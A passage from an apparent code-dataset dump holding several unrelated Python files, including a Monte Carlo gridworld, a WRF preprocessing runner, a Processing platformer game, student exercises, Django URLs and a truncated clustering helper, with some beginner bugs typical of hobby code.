s.trans[5]['s'] = 10\n s.trans[6]['e'] = 7\n s.trans[6]['s'] = 11\n s.trans[6]['n'] = 1\n s.trans[7]['e'] = 8\n s.trans[7]['w'] = 6\n s.trans[7]['s'] = 12\n s.trans[7]['n'] = 2\n s.trans[8]['e'] = 9\n s.trans[8]['w'] = 7\n s.trans[8]['s'] = 13\n s.trans[8]['n'] = 3\n s.trans[10]['w'] = 9\n s.trans[10]['s'] = 15\n s.trans[13]['e'] = 14\n s.trans[13]['w'] = 12\n s.trans[13]['s'] = 18\n s.trans[13]['n'] = 8\n s.trans[14]['e'] = 15\n s.trans[14]['w'] = 13\n s.trans[14]['s'] = 19\n s.trans[14]['n'] = 9\n s.trans[16]['e'] = 17\n s.trans[16]['s'] = 21\n s.trans[16]['n'] = 11\n s.trans[17]['e'] = 18\n s.trans[17]['w'] = 16\n s.trans[17]['s'] = 22\n s.trans[17]['n'] = 12\n s.trans[18]['e'] = 19\n s.trans[18]['w'] = 17\n s.trans[18]['s'] = 23\n s.trans[18]['n'] = 13\n s.trans[19]['e'] = 20\n s.trans[19]['w'] = 18\n s.trans[19]['s'] = 24\n s.trans[19]['n'] = 14\n s.trans[20]['w'] = 19\n s.trans[20]['s'] = 25\n s.trans[20]['n'] = 15\n s.trans[21]['e'] = 22\n s.trans[21]['n'] = 16\n s.trans[22]['e'] = 23\n s.trans[22]['w'] = 21\n s.trans[22]['n'] = 17\n\n s.rewards = {}\n for state in s.states:\n s.rewards[state] = {}\n for action in s.actions:\n s.rewards[state][action] = 0\n if state in s.trans and action in s.trans[state]:\n next_state = s.trans[state][action]\n if next_state in s.terminate_states:\n s.rewards[state][action] = s.terminate_states[next_state]\n s.pi = {}\n for state in s.trans:\n s.pi[state] = random.choice(s.trans[state].keys())\n s.last_pi = s.pi.copy()\n\n s.v = {}\n for state in s.states:\n s.v[state] = 0.0\n\n def get_random_action(s, state):\n s.pi[state] = random.choice(s.trans[state].keys())\n return s.pi[state]\n\n def transform(s, state, action):\n next_state = state\n state_reward = 0\n is_terminate = True\n return_info = {}\n\n if state in s.terminate_states:\n return next_state, state_reward, is_terminate, return_info\n if state in s.trans:\n if action in s.trans[state]:\n next_state = s.trans[state][action]\n if state in s.rewards:\n if action in s.rewards[state]:\n state_reward = s.rewards[state][action]\n if not next_state in s.terminate_states:\n is_terminate = False\n return next_state, state_reward, is_terminate, return_info\n\n def print_states(s):\n for state in s.states:\n if state in s.terminate_states:\n print\n \"*\",\n else:\n print\n round(s.v[state], 2),\n if state % 5 == 0:\n print\n \"|\"\n\n\ndef epsilon_greey(state_action_value_dic, state, epsilon):\n action_list = state_action_value_dic[state].keys()\n len_action = len(action_list)\n action_prob = [epsilon / float(len_action)] * len_action\n max_val = float('-inf')\n max_idx = -1\n for idx in range(len_action):\n action = action_list[idx]\n state_action_value = state_action_value_dic[state][action][1]\n if state_action_value > max_val:\n max_val = state_action_value\n max_idx = idx\n if max_idx < 0:\n return np.random.choice(action_list)\n else:\n action_prob[max_idx] += (1 - epsilon)\n epsilon_greey_action = np.random.choice(action_list, p=action_prob)\n return epsilon_greey_action\n\n\ndef monte_carlo_epsilon_greey(grid_mdp):\n '''Ëæ»úÑ¡Ôñ״̬£¬epsilon_greey²ßÂÔÑ¡Ôñ״̬ÏÂÃæµÄ¶¯×÷£¬Éú³ÉÊý¾Ý¼¯ºÏ'''\n state_action_value_dic = {}\n for iter_idx in range(100000):\n # print \"-----------------------\"\n one_sample_list = []\n state = random.choice(grid_mdp.states)\n while (state in grid_mdp.terminate_states):\n state = random.choice(grid_mdp.states)\n sample_end = False\n while sample_end != True:\n if not state in state_action_value_dic:\n state_action_value_dic[state] = {}\n # choose epsilon_greey strategy\n for action in grid_mdp.trans[state]:\n if not action in state_action_value_dic[state]:\n state_action_value_dic[state][action] = [0.0, 0.0]\n action = epsilon_greey(state_action_value_dic, state, grid_mdp.epsilon)\n next_state, state_reward, is_terminate, return_info = grid_mdp.transform(state, action)\n one_sample_list.append((state, action, state_reward))\n state = next_state\n sample_end = is_terminate\n\n # compute state_action_value\n G = 0.0\n # print one_sample_list\n for idx in range(len(one_sample_list) - 1, -1, -1):\n one_sample = one_sample_list[idx]\n state = one_sample[0]\n action = one_sample[1]\n state_reward = one_sample[2]\n if not state in state_action_value_dic:\n state_action_value_dic[state] = {}\n if not action in state_action_value_dic[state]:\n state_action_value_dic[state][action] = [0.0, 0.0]\n G = state_reward + grid_mdp.gamma * G\n state_action_value_dic[state][action][0] += 1\n state_action_value_dic[state][action][1] += (\n (G - state_action_value_dic[state][action][1]) / state_action_value_dic[state][action][0])\n if iter_idx % 10000 == 0:\n print\n \"-\" * 18\n for state in sorted(state_action_value_dic.keys()):\n for action in sorted(state_action_value_dic[state]):\n print\n state, action, state_action_value_dic[state][action]\n\n\ngrid_mdp = GriDMdp()\nmonte_carlo_epsilon_greey(grid_mdp)","sub_path":"monte_carlo/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":6862,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"21744771","text":"def ficha(nome=\"\", gols=0):\n print(f\"O jogador {nome} fez {gols} no campeonato\")\n\n\n#Programa Principal\nn = str(input(\"Nome: \")).strip()\ng = str(input(\"Número de gols: \"))\nif g.isnumeric():\n g = int(g)\nelse:\n g = 0\n\nif n == \"\":\n ficha(gols=g)\nelse:\n ficha(n,g)\n","sub_path":"ex103.py","file_name":"ex103.py","file_ext":"py","file_size_in_byte":290,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"643874258","text":"from model import MaskNet\nimport torch\nimport pickle\nimport numpy as np\nfrom PIL import Image\nimport torchvision.transforms as transforms\n\ndef metrics(y, pred):\n TP = ((y == pred) & y).sum()\n TN = ((y == pred) & np.logical_not(y)).sum()\n FP = ((y != pred) & np.logical_not(y)).sum()\n FN = ((y != pred) & y).sum()\n\n acc = (TP + TN) / (TP + TN + FP + FN)\n recall = TP / (TP + FN)\n precision = TP / (TP + FP)\n\n return acc, recall, precision\n\n\nif __name__ == '__main__':\n\n model = MaskNet([3, 64, 128, 256, 512, 512, 512])\n load_state = torch.load('checkpoint/masknet_separable.ckpt', map_location='cpu')\n model.load_state_dict(load_state['model_state_dict'])\n\n X = []\n for i in range(1, 14):\n filename = f'./test_image/{i}.png'\n x = Image.open(filename).convert('RGB').resize((128, 128))\n x = transforms.ToTensor()(x).unsqueeze(0)\n X.append(x)\n\n x = torch.cat(X, dim=0)\n y=np.array([0, 1, 1, 0, 1,\n 0, 0, 0, 0, 1,\n 1, 1, 1])\n pred = model(x)\n pred = torch.argmax(pred, dim=-1)\n pred = np.array(pred)\n\n acc, recall, precision = metrics(y, pred)\n print(acc, recall, precision)\n\n\n\n\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1194,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"266966924","text":"#!/cm/shared/apps/python/3.5.2/bin/python3.5\n\nimport urllib.request\nimport os\nimport sys\nimport shutil\nimport subprocess\nimport glob\nfrom urllib.request import URLError\nfrom urllib.request import HTTPError\nfrom queue import Queue\nfrom threading import Thread\nfrom datetime import datetime, timedelta\nfrom time import time, localtime, sleep, strftime\n\nimport config\nimport util\n\ndef run_geogrid(cycdir,cycstart,cycend):\n # Create working directory\n TMPGEOGRID = util.make_work_dir(os.path.join(cycdir,'geogrid'))\n \n # Link in necessary files\n shutil.copy(os.path.join(config.WPS_SRC_DIR,'geogrid.exe'),TMPGEOGRID)\n shutil.copy(os.path.join(config.WPS_SRC_DIR,'geogrid/GEOGRID.TBL.ARW'),os.path.join(TMPGEOGRID,'GEOGRID.TBL'))\n write_namelist(TMPGEOGRID,stime=cycstart,etime=cycend)\n \n # Run geogrid\n util.run_mpi_proc(TMPGEOGRID,'geogrid.exe','geogrid',nodes=1,nproc=64,queue='shortq')\n \n # Move geogrid file to top dir\n shutil.copy(os.path.join(TMPGEOGRID,'geo_em.d01.nc'),cycdir)\n\n # Remove working directory\n shutil.rmtree(TMPGEOGRID)\n\ndef run_ungrib(cycdir,cycstart,cycend):\n # Create working directory\n TMPUNGRIB = util.make_work_dir(os.path.join(cycdir,'ungrib'))\n \n # Link in necessary files\n os.symlink(os.path.join(config.WPS_SRC_DIR,'ungrib.exe'),os.path.join(TMPUNGRIB,'ungrib.exe'))\n os.symlink(config.VTABLE,os.path.join(TMPUNGRIB,'Vtable'))\n os.symlink(os.path.join(config.WPS_SRC_DIR,'link_grib.csh'),os.path.join(TMPUNGRIB,'link_grib.csh'))\n write_namelist(TMPUNGRIB,stime=cycstart,etime=cycend)\n\n # Link grib files using link_grib.csh\n command = [os.path.join(TMPUNGRIB,'link_grib.csh')]\n command.extend(get_grb2_names(config.GRB_SRC_DIR,cycstart,cycend))\n util.run_serial_proc(TMPUNGRIB,command,'link_grib.csh')\n\n # Run ungrib\n util.run_serial_proc(TMPUNGRIB,['ungrib.exe'],'ungrib.exe')\n\n # Move intermediate files to cycle dir\n ungrib_files = get_ungrib_names(TMPUNGRIB,cycstart,cycend)\n for ungrib_file in ungrib_files:\n shutil.move(ungrib_file,os.path.join(cycdir,os.path.basename(ungrib_file)))\n\n # Remove working directory\n shutil.rmtree(TMPUNGRIB)\n\ndef run_metgrid(cycdir,cycstart,cycend):\n # Create working directory\n TMPMETGRID = util.make_work_dir(os.path.join(cycdir,'metgrid'))\n \n # Link in necessary files\n os.symlink(os.path.join(config.WPS_SRC_DIR,'metgrid.exe'),os.path.join(TMPMETGRID,'metgrid.exe'))\n os.symlink(config.METGRID_TBL,os.path.join(TMPMETGRID,'METGRID.TBL'))\n os.symlink(os.path.join(cycdir,'geo_em.d01.nc'),os.path.join(TMPMETGRID,'geo_em.d01.nc'))\n write_namelist(TMPMETGRID,stime=cycstart,etime=cycend)\n\n # Link intermediate files\n ungrib_files = get_ungrib_names(cycdir,cycstart,cycend)\n for ungrib_file in ungrib_files:\n os.symlink(ungrib_file,os.path.join(TMPMETGRID,os.path.basename(ungrib_file)))\n\n # Run metgrid\n util.run_mpi_proc(TMPMETGRID,'metgrid.exe','metgrid',nodes=1,nproc=64,queue='shortq')\n\n # Move metgrid files to cycle dir\n metgrid_files = get_metgrid_names(TMPMETGRID,cycstart,cycend)\n for metgrid_file in metgrid_files:\n shutil.move(metgrid_file,os.path.join(cycdir,os.path.basename(metgrid_file)))\n\n # Remove working directory\n shutil.rmtree(TMPMETGRID)\n\ndef get_grb2_names(filedir,cycstart,cycend):\n filelist = []\n currdate = cycstart\n hourinc = 0\n while currdate<=cycend:\n filename = os.path.join(filedir,'gfs.0p25.{0}.f000.grib2'.format(currdate.strftime('%Y%m%d%H')))\n filelist.append(filename)\n hourinc+=config.BCOND_INT_HOURS\n currdate = cycstart + timedelta(hours=hourinc)\n return filelist;\n\ndef get_ungrib_names(filedir,cycstart,cycend):\n filelist = []\n currdate = cycstart\n hourinc = 0\n while currdate<=cycend:\n filename = os.path.join(filedir,'FILE:{0}'.format(currdate.strftime('%Y-%m-%d_%H')))\n filelist.append(filename)\n hourinc+=config.BCOND_INT_HOURS\n currdate = cycstart + timedelta(hours=hourinc)\n return filelist;\n\ndef get_metgrid_names(filedir,cycstart,cycend):\n filelist = []\n currdate = cycstart\n hourinc = 0\n while currdate<=cycend:\n filename = os.path.join(filedir,'met_em.d01.{0}.nc'.format(currdate.strftime('%Y-%m-%d_%H:%M:%S')))\n filelist.append(filename)\n hourinc+=config.BCOND_INT_HOURS\n currdate = cycstart + timedelta(hours=hourinc)\n return filelist;\n\ndef write_namelist(\n outdir,\n stime=datetime.strptime(str(config.CYCLE_START),'%Y%m%d%H'),\n etime=datetime.strptime(str(config.CYCLE_END),'%Y%m%d%H')\n ):\n \n # Write namelist.wps\n start_date = stime.strftime('%Y-%m-%d_%H:00:00')\n end_date = etime.strftime('%Y-%m-%d_%H:00:00')\n \n nmlwps = '''&share\nwrf_core = 'ARW',\nmax_dom = 1,\nstart_date = '{0}',\nend_date = '{1}',\ninterval_seconds = {2},\nio_form_geogrid = 2,\n/\n\n&geogrid\n parent_id = 1,\n parent_grid_ratio = 1,\n i_parent_start = 1,\n j_parent_start = 1,\n e_we = 306,\n e_sn = 230,\n geog_data_res = 'default',\n dx = 9000,\n dy = 9000,\n map_proj = 'lambert',\n ref_lat = 41.0,\n ref_lon = -76.3,\n truelat1 = 30.0,\n truelat2 = 45.0,\n stand_lon = -76.3,\n geog_data_path = '{3}'\n opt_geogrid_tbl_path = '{4}'\n/\n\n&ungrib\n out_format = 'WPS',\n prefix = 'FILE',\n\n&metgrid\n fg_name = 'FILE'\n io_form_metgrid = 2,\n opt_metgrid_tbl_path = '{4}'\n/\n'''.format(start_date,end_date,str(config.BCOND_INT_HOURS*60*60),\n config.GEOG_SRC_DIR,outdir)\n nml_file = os.path.join(outdir,'namelist.wps')\n with open(nml_file,'w') as myfile:\n myfile.write(nmlwps)\n","sub_path":"runwps.py","file_name":"runwps.py","file_ext":"py","file_size_in_byte":5954,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"528572054","text":"cont = True\nwhile cont:\n try:\n nums = [int(i) for i in input().split()]\n except ValueError:\n print('no')\n break\n oper_lst = ['+', '-', '*', '/']\n oper = input('+-*/').strip()\n while oper not in oper_lst:\n oper = input('+-*/').strip()\n if oper == '*':\n try:\n print(nums[0] * nums[1])\n except IndexError:\n print('not enough nums')\n if oper == '+':\n try:\n print(nums[0] + nums[1])\n except IndexError:\n print('not enough nums')\n if oper == '+':\n try:\n print(nums[0] - nums[1])\n except IndexError:\n print('not enough nums')\n if oper == '/':\n try:\n print(nums[0] / nums[1])\n except (ZeroDivisionError, IndexError):\n print('error')\n cont = True if input('continue (\"yes/no\")').lower() == 'yes' else False\n","sub_path":"17.04.py","file_name":"17.04.py","file_ext":"py","file_size_in_byte":900,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"296075122","text":"class Levels():\r\n def __init__(self):\r\n self.maxLevel = 2\r\n self.levelNumb = 0\r\n self.currentMap = loadImage(\"0.png\")\r\n\r\n def spawn(self):\r\n for x in range(width):\r\n for y in range(height):\r\n if self.currentMap.get(x, y) == color(255, 236, 66):\r\n playerObj.velocity = PVector(0, 0)\r\n playerObj.position = screen_to_world(PVector(x, y))\r\n break\r\n\r\n def nextLevel(self):\r\n self.levelNumb += 1\r\n\r\n if self.levelNumb <= self.maxLevel:\r\n self.currentMap = loadImage(str(self.levelNumb) + \".png\")\r\n\r\n else:\r\n self.levelNumb = 0\r\n self.currentMap = loadImage(str(self.levelNumb) + \".png\")\r\n\r\n self.spawn()\r\n\r\n\r\nclass Player():\r\n\r\n def __init__(self, x, y):\r\n\r\n self.position = PVector(x, y)\r\n self.acceleration = PVector(0, 0)\r\n self.velocity = PVector(0, 0)\r\n self.friction = .9\r\n self.maxSpeed = 2\r\n self.accelSpeed = 1\r\n self.maxJump = 15\r\n self.playerDimensions = 30\r\n self.gravity = -.5\r\n self.collisionArray = [False, False, False, False]\r\n self.wallFriction = .1\r\n self.currentJump = 1\r\n self.maxJumps = 1\r\n\r\n def display(self):\r\n screenPos = worldPoint_to_screenPoint(self.position)\r\n\r\n fill(0)\r\n rect(\r\n int(screenPos.x - self.playerDimensions/2),\r\n int(screenPos.y - self.playerDimensions/2),\r\n self.playerDimensions, self.playerDimensions)\r\n\r\n def applyForce(self, x, y):\r\n\r\n self.acceleration.x += x\r\n self.acceleration.y += y\r\n\r\n def colorCollide(self):\r\n\r\n skinWidth = 2\r\n startR1 = PVector(\r\n self.position.x + self.playerDimensions/2 -\r\n skinWidth, self.position.y +\r\n self.playerDimensions/2 - skinWidth)\r\n endR1 = PVector(\r\n self.position.x + self.playerDimensions/2 +\r\n self.velocity.x, self.position.y +\r\n self.playerDimensions/2)\r\n\r\n startR2 = PVector(\r\n self.position.x + self.playerDimensions/2 -\r\n skinWidth, self.position.y -\r\n self.playerDimensions/2 + skinWidth)\r\n endR2 = PVector(\r\n self.position.x + self.playerDimensions/2 +\r\n self.velocity.x, self.position.y -\r\n self.playerDimensions/2)\r\n\r\n startL1 = PVector(\r\n self.position.x - self.playerDimensions/2 +\r\n skinWidth, self.position.y +\r\n self.playerDimensions/2 - skinWidth)\r\n endL1 = PVector(\r\n self.position.x - self.playerDimensions/2 +\r\n self.velocity.x, self.position.y +\r\n self.playerDimensions/2)\r\n\r\n startL2 = PVector(\r\n self.position.x - self.playerDimensions/2 +\r\n skinWidth, self.position.y -\r\n self.playerDimensions/2 + skinWidth)\r\n endL2 = PVector(\r\n self.position.x - self.playerDimensions/2 +\r\n self.velocity.x, self.position.y -\r\n self.playerDimensions/2)\r\n\r\n startD1 = PVector(\r\n self.position.x + self.playerDimensions/2 -\r\n skinWidth, self.position.y -\r\n self.playerDimensions/2 + skinWidth)\r\n endD1 = PVector(\r\n self.position.x + self.playerDimensions/2,\r\n self.position.y - self.playerDimensions/2 +\r\n self.velocity.y/4)\r\n\r\n startD2 = PVector(\r\n self.position.x - self.playerDimensions/2 +\r\n skinWidth, self.position.y -\r\n self.playerDimensions/2 + skinWidth)\r\n endD2 = PVector(\r\n self.position.x - self.playerDimensions/2,\r\n self.position.y - self.playerDimensions/2 +\r\n self.velocity.y/4)\r\n\r\n startU1 = PVector(\r\n self.position.x + self.playerDimensions/2 -\r\n skinWidth, self.position.y +\r\n self.playerDimensions/2 - skinWidth)\r\n endU1 = PVector(\r\n self.position.x + self.playerDimensions/2,\r\n self.position.y + self.playerDimensions/2 +\r\n self.velocity.y)\r\n\r\n startU2 = PVector(\r\n self.position.x - self.playerDimensions/2 +\r\n skinWidth, self.position.y +\r\n self.playerDimensions/2 - skinWidth)\r\n endU2 = PVector(\r\n self.position.x - self.playerDimensions/2,\r\n self.position.y + self.playerDimensions/2 +\r\n self.velocity.y)\r\n\r\n rayAray = []\r\n\r\n lineR1 = lineCollision(startR1, endR1, 'h')\r\n lineR2 = lineCollision(startR2, endR2, 'h')\r\n\r\n lineL1 = lineCollision(startL1, endL1, 'h')\r\n lineL2 = lineCollision(startL2, endL2, 'h')\r\n\r\n lineU1 = lineCollision(startU1, endU1, 'v')\r\n lineU2 = lineCollision(startU2, endU2, 'v')\r\n\r\n lineD1 = lineCollision(startD1, endD1, 'v')\r\n lineD2 = lineCollision(startD2, endD2, 'v')\r\n\r\n rayAray.append(lineR1)\r\n rayAray.append(lineR2)\r\n rayAray.append(lineL1)\r\n rayAray.append(lineL2)\r\n rayAray.append(lineD1)\r\n rayAray.append(lineD2)\r\n rayAray.append(lineU1)\r\n rayAray.append(lineU2)\r\n\r\n self.collisionArray = [False, False, False, False]\r\n\r\n if lineU1[0] and lineU1[2] == \"Wall\":\r\n self.position.y = lineU1[1].y - self.playerDimensions/2\r\n self.velocity.y = 0\r\n self.collisionArray[0] = True\r\n\r\n if lineU2[0] and lineU2[2] == \"Wall\":\r\n self.position.y = lineU2[1].y - self.playerDimensions/2\r\n self.velocity.y = 0\r\n self.collisionArray[0] = True\r\n\r\n if lineD1[0] and lineD1[2] and \"Wall\":\r\n self.position.y = lineD1[1].y + self.playerDimensions/2\r\n self.velocity.y = 0\r\n self.collisionArray[1] = True\r\n if lineD2[0] and lineD2[2] and \"Wall\":\r\n self.position.y = lineD2[1].y + self.playerDimensions/2\r\n self.velocity.y = 0\r\n self.collisionArray[1] = True\r\n\r\n if lineL1[0] and lineL1[2] == \"Wall\":\r\n self.position.x = lineL1[1].x + self.playerDimensions/2 + 1\r\n self.velocity.x = 0\r\n self.collisionArray[2] = True\r\n\r\n if lineL2[0] and lineL2[2] == \"Wall\":\r\n self.position.x = lineL2[1].x + self.playerDimensions/2 + 1\r\n self.velocity.x = 0\r\n self.collisionArray[2] = True\r\n\r\n if lineR1[0] and lineR1[2] == \"Wall\":\r\n self.position.x = lineR1[1].x - self.playerDimensions/2 - 1\r\n self.velocity.x = 0\r\n self.collisionArray[3] = True\r\n if lineR2[0] and lineR2[2] == \"Wall\":\r\n self.position.x = lineR2[1].x - self.playerDimensions/2 - 1\r\n self.velocity.x = 0\r\n self.collisionArray[3] = True\r\n\r\n for line in rayAray:\r\n if line[0] and line[2] == \"Spike\":\r\n levelManager.spawn()\r\n if line[0] and line[2] == \"Door\":\r\n levelManager.nextLevel()\r\n\r\n def update(self):\r\n\r\n self.applyForce(0, self.gravity)\r\n self.velocity.x *= self.friction\r\n if (self.velocity.y < - 1 and (keyArrays[0] or keyArrays[1]) and\r\n (self.collisionArray[2] or self.collisionArray[3])):\r\n self.velocity.y *= self.wallFriction\r\n\r\n if (self.collisionArray[1] or\r\n self.collisionArray[2] or self.collisionArray[3]):\r\n self.currentJump = self.maxJumps\r\n\r\n if keyArrays[0]:\r\n self.applyForce(-self.accelSpeed, 0)\r\n if keyArrays[1]:\r\n self.applyForce(self.accelSpeed, 0)\r\n\r\n if (keyArrays[2] and not self.collisionArray[1] and\r\n self.currentJump > 0 and keyArrays[0]):\r\n self.currentJump -= 1\r\n self.applyForce(10, 10)\r\n\r\n if (keyArrays[2] and not self.collisionArray[1] and\r\n self.currentJump > 0 and keyArrays[1]):\r\n self.currentJump -= 1\r\n self.applyForce(-10, 10)\r\n\r\n if keyArrays[2] is True and self.currentJump > 0:\r\n self.currentJump -= 1\r\n self.velocity.y = 0\r\n self.applyForce(0, self.maxJump)\r\n\r\n self.velocity.x += self.acceleration.x\r\n self.velocity.y += self.acceleration.y\r\n\r\n self.position.x += self.velocity.x\r\n self.position.y += self.velocity.y\r\n\r\n self.acceleration = PVector(0, 0)\r\n\r\n self.colorCollide()\r\n\r\n keyArrays[2] = False\r\n self.display()\r\n\r\n\r\ndef lineCollision(startPoint, endPoint, axis):\r\n sP = worldPoint_to_screenPoint(startPoint)\r\n eP = worldPoint_to_screenPoint(endPoint)\r\n sPx = int(sP.x)\r\n sPy = int(sP.y)\r\n ePx = int(eP.x)\r\n ePy = int(eP.y)\r\n\r\n if axis == 'h':\r\n if sPx > ePx:\r\n for x in range(sPx, ePx, -1):\r\n c = levelManager.currentMap.get(int(x), sPy)\r\n\r\n if c == color(104, 255, 147):\r\n return [True, screen_to_world(PVector(int(x), sPy)),\r\n 'Wall']\r\n if c == color(255, 73, 79):\r\n return [True, screen_to_world(PVector(int(x), sPy)),\r\n 'Spike']\r\n if c == color(255, 122, 188):\r\n return [True, screen_to_world(PVector(int(x), sPy)),\r\n 'Door']\r\n\r\n else:\r\n for x in range(sPx, ePx):\r\n c = levelManager.currentMap.get(int(x), sPy)\r\n\r\n if c == color(104, 255, 147):\r\n return [True, screen_to_world(PVector(int(x), sPy)),\r\n 'Wall']\r\n if c == color(255, 73, 79):\r\n return [True, screen_to_world(PVector(int(x), sPy)),\r\n 'Spike']\r\n if c == color(255, 122, 188):\r\n return [True, screen_to_world(PVector(int(x), sPy)),\r\n 'Door']\r\n else:\r\n if sPy > ePy:\r\n for y in range(sPy, ePy, -1):\r\n c = levelManager.currentMap.get(int(sP.x), int(y))\r\n\r\n if c == color(104, 255, 147):\r\n return [True, screen_to_world(PVector(sPx, int(y))),\r\n 'Wall']\r\n if c == color(255, 73, 79):\r\n return [True, screen_to_world(PVector(sPx, int(y))),\r\n 'Spike']\r\n if c == color(255, 122, 188):\r\n return [True, screen_to_world(PVector(sPx, int(y))),\r\n 'Door']\r\n else:\r\n for y in range(sPy, ePy):\r\n c = levelManager.currentMap.get(int(sP.x), int(y))\r\n\r\n if c == color(104, 255, 147):\r\n return [True, screen_to_world(PVector(sPx, int(y))),\r\n 'Wall']\r\n if c == color(255, 73, 79):\r\n return [True, screen_to_world(PVector(sPx, int(y))),\r\n 'Spike']\r\n if c == color(255, 122, 188):\r\n return [True, screen_to_world(PVector(sPx, int(y))),\r\n 'Door']\r\n\r\n return [False]\r\n\r\n\r\ndef screen_to_world(screenPos):\r\n return PVector((screenPos.x - width/2), -(screenPos.y - height/2))\r\n\r\n\r\ndef worldPoint_to_screenPoint(worldPoints):\r\n return PVector((width/2 + worldPoints.x), (height/2 - worldPoints.y))\r\n\r\n\r\ndef setup():\r\n\r\n fullScreen()\r\n global levelManager\r\n levelManager = Levels()\r\n\r\n global playerObj\r\n playerObj = Player(0, 0)\r\n\r\n global keyArrays\r\n keyArrays = [False, False, False, False]\r\n\r\n global tempKey\r\n tempKey = [False, False, False, False]\r\n\r\n levelManager.spawn()\r\n\r\n\r\ndef draw():\r\n frameRate(120)\r\n\r\n background(levelManager.currentMap)\r\n\r\n playerObj.update()\r\n\r\n\r\ndef keyPressed():\r\n\r\n if keyCode == LEFT or key == \"a\":\r\n keyArrays[0] = True\r\n if keyCode == RIGHT or key == \"d\":\r\n keyArrays[1] = True\r\n if keyCode == UP or key == \"w\" or key == \" \":\r\n keyArrays[2] = True\r\n\r\n\r\ndef keyReleased():\r\n\r\n if keyCode == LEFT or key == \"a\":\r\n keyArrays[0] = False\r\n if keyCode == RIGHT or key == \"d\":\r\n keyArrays[1] = False\r\n if keyCode == UP or key == \"w\" or key == \" \":\r\n keyArrays[2] = False\r\n","sub_path":"final-build/Tristan_Ryan_CPT/Tristan_Ryan_CPT.pyde","file_name":"Tristan_Ryan_CPT.pyde","file_ext":"pyde","file_size_in_byte":12395,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"603811859","text":"#Unit 2 Review\n\ndef post():\n print(\"\")\n input(\"Press enter to continue...\")\n clear(15)\n print (\"==========================\")\n print (\"==========================\")\n menu()\n\ndef clear(n):\n for x in range(0,n):\n print (\"\")\n\ndef menu():\n print (\"A. Problem 1A \\n\")\n print (\"B. Problem 1B \\n\")\n print (\"C. Program 2 \\n\")\n print (\"D. Program 3 \\n\")\n\n choice = eval((input(\"Input the letter (case sensitive) you would like to use: \")))\n choice()\n\ndef A():\n import sys\n clear(3)\n x = 5\n while x <= 11:\n sys.stdout.write(\"{} \".format(x))\n x = x+1\n clear(4)\n post()\n\ndef B():\n clear(3)\n x = 5\n while x <= 13:\n print(x)\n x = x+2\n clear(4)\n post()\n\ndef C():\n clear(4)\n n = float(input(\"Please enter a non-negative number less than or equal to 20: \"))\n clear(3)\n if n > 20 or n < 0:\n print (\"Error!\")\n clear(2)\n input(\"Press any key to continue...\")\n import sys\n x = 0\n while x < 500:\n sys.stdout.write(\"GEE GEE GEE GEE BABY BABY \")\n x = x + 1\n else:\n print (\"You entered {}. Good job, you can follow directions!\".format(n))\n clear(4)\n post()\n\n\ndef D():\n clear(3)\n v = float(input(\"Please enter a number: \"))\n clear(3)\n if v <= 0:\n print (\"Needs to be an integer. Please try again.\")\n D()\n\n x = v\n s = 0\n\n while x > 0:\n if x % 2 == 0 or x % 3 == 0:\n s = s + x\n x = x - 1\n else:\n x = x - 1\n\n print (\"The sum of the integers less than or equal to {} that are divisible by 2 or 3 is {}.\".format(v, s))\n clear(3)\n post()\n\n\nmenu()\n","sub_path":"14-15/Review Programs/Review Unit 2.py","file_name":"Review Unit 2.py","file_ext":"py","file_size_in_byte":1665,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"560860492","text":"from django.conf.urls import url\nfrom django.views.generic import TemplateView\n\nfrom djforms.music.ensembles.choral.views import candidate\nfrom djforms.music.ensembles.choral.forms import CandidateForm\nfrom djforms.music.ensembles.choral import views as choral\nfrom djforms.music.theatre.summer_camp import views as summer_camp\n\n\nurlpatterns = [\n # choral tryouts\n url(\n r'^ensembles/choral/tryout/success/$',\n TemplateView.as_view(\n template_name='music/ensembles/choral/done.html'\n ),\n name='choral_tryout_success'\n ),\n url(\n r'^ensembles/choral/tryout/manager/$',\n choral.manager,\n name='choral_ensemble_manager'\n ),\n url(\n r'^ensembles/choral/tryout/$',\n choral.candidate,\n name='choral_ensemble_candidate'\n ),\n # music theatre summer camp\n url(\n r'^theatre/summer-camp/$',\n summer_camp.registration,\n name='music_theatre_summer_camp_registration'\n ),\n url(\n r'^theatre/summer-camp/success/$',\n TemplateView.as_view(\n template_name='music/theatre/summer_camp/registration_done.html'\n ),\n name='music_theatre_summer_camp_success'\n )\n]\n","sub_path":"djforms/music/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1215,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"630402543","text":"import numpy as np\nfrom sklearn.cluster import DBSCAN as DBScan, KMeans\nfrom sklearn.datasets.samples_generator import make_blobs\nfrom sklearn.preprocessing import StandardScaler\n\nif __package__ is None:\n import sys\n from os import path\n sys.path.append(path.dirname(path.dirname(path.abspath(__file__))))\n print (path.dirname(path.dirname(path.abspath(__file__))))\n from .algs.optics import Optics, Point as OpticsPoint\nelse:\n from pyserver.utils.algs.optics import Optics, Point as OpticsPoint\n\ndef DBSCAN(X, metric='euclidean', eps=0.3, min_samples=10):\n \"\"\"Perform DBSCAN clustering from features.\n\n Parameters\n ----------\n X : A feature array\n metric : string\n \"\"\"\n\n X = StandardScaler().fit_transform(X)\n if metric == 'euclidean':\n rs = DBScan(eps=eps, min_samples=min_samples, metric=metric).fit(X)\n elif metric == 'cosine':\n rs = DBScan(eps=eps, min_samples=min_samples,\n metric=metric, algorithm='brute').fit(X)\n labels = rs.labels_\n n_clusters = len(set(labels)) - (1 if -1 in labels else 0)\n return n_clusters, labels.tolist()\n\ndef KMEANS(X, n_clusters=2):\n \"\"\"Perform DBSCAN clustering from features.\n\n Parameters\n ----------\n X : A feature array\n metric : string\n \"\"\"\n\n X = StandardScaler().fit_transform(X)\n rs = KMeans(n_clusters=n_clusters, random_state=0).fit(X)\n labels = 